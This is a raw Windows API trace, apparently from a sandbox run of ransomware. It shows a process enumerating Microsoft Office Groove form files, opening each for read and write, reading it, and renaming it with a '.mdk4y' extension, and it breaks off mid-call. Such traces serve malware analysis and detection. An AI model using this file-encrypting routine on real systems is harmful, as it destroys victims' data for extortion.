0x4e4 [0221.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIconsMask.bmp", cchWideChar=32, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIconsMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 32 [0221.643] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687400000) returned 1 [0221.644] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x638, lpOverlapped=0x0) returned 1 [0221.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687500000) returned 1 [0221.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687500000) returned 1 [0221.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticonsmask.bmp.mdk4y")) returned 1 [0221.647] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.647] AreFileApisANSI () returned 1 [0221.647] GetACP () returned 0x4e4 [0221.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="form_edit.js", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="form_edit.jsachmentIconsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 12 [0221.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687700000) returned 1 [0221.647] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x26b4, lpOverlapped=0x0) returned 1 [0221.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829687900000) returned 1 [0221.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688000000) returned 1 [0221.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form_edit.js.mdk4y")) returned 1 [0221.651] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.651] AreFileApisANSI () returned 1 [0221.651] GetACP () returned 0x4e4 [0221.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathWelcomeImage.jpg", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="InfoPathWelcomeImage.jpgMask.bmp", lpUsedDefaultChar=0x37dda8) returned 24 [0221.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688200000) returned 1 [0221.652] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x14316, lpOverlapped=0x0) returned 1 [0221.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688300000) returned 1 [0221.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688300000) returned 1 [0221.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg.mdk4y")) returned 1 [0221.655] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.655] AreFileApisANSI () returned 1 [0221.655] GetACP () returned 0x4e4 [0221.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LAUNCH.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="LAUNCH.GIFlcomeImage.jpg", lpUsedDefaultChar=0x37dda8) returned 10 [0221.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688600000) returned 1 [0221.656] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x267, lpOverlapped=0x0) returned 1 [0221.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688700000) returned 1 [0221.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829688700000) returned 1 [0221.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\LAUNCH.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\launch.gif.mdk4y")) returned 1 [0221.664] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.664] AreFileApisANSI () returned 1 [0221.664] GetACP () returned 0x4e4 [0221.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="macroprogress.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="macroprogress.gifage.jpg", lpUsedDefaultChar=0x37dda8) returned 17 [0221.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829689500000) returned 1 [0221.665] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x30074, lpOverlapped=0x0) returned 1 [0221.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829691500000) returned 1 [0221.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829691500000) returned 1 [0221.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\macroprogress.gif.mdk4y")) returned 1 [0221.689] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.689] AreFileApisANSI () returned 1 [0221.689] GetACP () returned 0x4e4 [0221.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PublicFunctions.js", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="PublicFunctions.jsge.jpg", lpUsedDefaultChar=0x37dda8) returned 18 [0221.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829692000000) returned 1 [0221.691] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x275e, lpOverlapped=0x0) returned 1 [0221.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829692300000) returned 1 [0221.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829692300000) returned 1 [0221.693] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\publicfunctions.js.mdk4y")) returned 1 [0221.699] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.699] AreFileApisANSI () returned 1 [0221.699] GetACP () returned 0x4e4 [0221.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_alignleft.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_alignleft.gifs", lpUsedDefaultChar=0x37dda8) returned 17 [0221.699] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693000000) returned 1 [0221.700] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x350, lpOverlapped=0x0) returned 1 [0221.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693100000) returned 1 [0221.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693200000) returned 1 [0221.702] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignleft.gif.mdk4y")) returned 1 [0221.703] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.703] AreFileApisANSI () returned 1 [0221.703] GetACP () returned 0x4e4 [0221.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_alignright.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_alignright.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0221.703] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693400000) returned 1 [0221.704] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x34f, lpOverlapped=0x0) returned 1 [0221.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693500000) returned 1 [0221.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693500000) returned 1 [0221.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignright.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_alignright.gif.mdk4y")) returned 1 [0221.707] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.707] AreFileApisANSI () returned 1 [0221.707] GetACP () returned 0x4e4 [0221.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_bullets.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_bullets.gifgif", lpUsedDefaultChar=0x37dda8) returned 15 [0221.707] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693700000) returned 1 [0221.707] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x365, lpOverlapped=0x0) returned 1 [0221.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693800000) returned 1 [0221.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829693800000) returned 1 [0221.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_bullets.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_bullets.gif.mdk4y")) returned 1 [0221.710] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.710] AreFileApisANSI () returned 1 [0221.710] GetACP () returned 0x4e4 [0221.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_center.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_center.giff", lpUsedDefaultChar=0x37dda8) returned 14 [0221.710] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694100000) returned 1 [0221.711] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x34f, lpOverlapped=0x0) returned 1 [0221.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694200000) returned 1 [0221.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694200000) returned 1 [0221.712] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_center.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_center.gif.mdk4y")) returned 1 [0221.714] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.714] AreFileApisANSI () returned 1 [0221.714] GetACP () returned 0x4e4 [0221.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_choosecolor.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_choosecolor.gife.jpg", lpUsedDefaultChar=0x37dda8) returned 19 [0221.714] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694400000) returned 1 [0221.715] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3ee, lpOverlapped=0x0) returned 1 [0221.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694600000) returned 1 [0221.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694600000) returned 1 [0221.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_choosecolor.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_choosecolor.gif.mdk4y")) returned 1 [0221.717] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.717] AreFileApisANSI () returned 1 [0221.717] GetACP () returned 0x4e4 [0221.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_decreaseindent.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_decreaseindent.gifpg", lpUsedDefaultChar=0x37dda8) returned 22 [0221.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694800000) returned 1 [0221.718] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35f, lpOverlapped=0x0) returned 1 [0221.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694900000) returned 1 [0221.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829694900000) returned 1 [0221.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_decreaseindent.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_decreaseindent.gif.mdk4y")) returned 1 [0221.720] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.720] AreFileApisANSI () returned 1 [0221.720] GetACP () returned 0x4e4 [0221.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_hyperlink.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_hyperlink.gift.gif", lpUsedDefaultChar=0x37dda8) returned 17 [0221.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\rtf_hyperlink.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829695100000) returned 1 [0221.721] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xf1, lpOverlapped=0x0) returned 1 [0221.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829695200000) 